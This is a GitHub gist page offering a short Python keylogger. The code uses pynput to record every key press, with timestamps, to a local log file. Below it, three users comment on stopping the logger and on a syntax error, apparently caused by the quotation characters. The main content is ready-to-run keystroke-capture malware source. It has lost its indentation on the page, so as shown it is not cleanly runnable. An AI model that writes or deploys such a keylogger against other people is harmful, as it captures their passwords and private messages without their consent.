Skip to content

Instantly share code, notes, and snippets.

@jamesgeorge007
Created May 31, 2018 16:51
A simple keylogger made with python.
from pynput.keyboard import Key, Listener
import logging
log_directory = ""
logging.basicConfig(filename = (log_directory + "log_results.txt"), level = logging.DEBUG, format = '%(asctime)s : %(message)s')
def keypress(Key):
logging.info(str(Key))
with Listener(on_press = keypress) as listener:
listener.join()
@saidberk27
Copy link

saidberk27 commented May 18, 2019

Hi, how can i stop logging?

edit: tried sys.exit()

@Ldog8315
Copy link

Ldog8315 commented Apr 5, 2020

in line 4 I'm getting "invalid character identifier" error

@7daylenrobertson
Copy link

in line 4 I'm getting "invalid character identifier" error

It's probably from the quotations

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment